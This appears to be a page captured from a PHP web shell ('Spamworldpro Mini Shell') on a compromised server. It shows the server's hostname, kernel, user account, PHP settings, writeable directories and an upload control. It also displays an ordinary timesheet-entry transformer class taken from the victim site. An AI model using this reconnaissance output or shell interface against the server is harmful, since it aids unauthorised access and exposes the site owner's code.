Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/dceprojects.corals.io/Corals/modules/Timesheet/Transformers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/dceprojects.corals.io/Corals/modules/Timesheet/Transformers/EntryTransformer.php
<?php

namespace Corals\Modules\Timesheet\Transformers;

use Corals\Foundation\Transformers\BaseTransformer;
use Corals\Modules\Timesheet\Models\Entry;

class EntryTransformer extends BaseTransformer
{
    public function __construct($extras = [])
    {
        $this->resource_url = config('timesheet.models.entry.resource_url');

        parent::__construct($extras);
    }

    /**
     * @param Entry $entry
     * @return array
     * @throws \Throwable
     */
    public function transform(Entry $entry)
    {
        $department = $entry->department ? $entry->department->label : '';

        $employee = $entry->user;
        $employeeUrl = '/ts/employees/' . $employee->hashed_id;

        $transformedArray = [
            'id' => $entry->id,
            'entrieable' => $entry->entrieable ? $entry->entrieable->getIdentifier() : '-',
            'logged_time' => $entry->logged_time,
            'user' => HtmlElement('a', ['href' => $employeeUrl], $employee->full_name),
            'department' => formatArrayAsLabels([$department], 'primary'),
            'spent_at' => format_date($entry->spent_at),
            'description' => $entry->description,
            'created_at' => format_date($entry->created_at),
            'updated_at' => format_date($entry->updated_at),
            'action' => $this->actions($entry)
        ];

        return parent::transformResponse($transformedArray);
    }
}

Spamworldpro Mini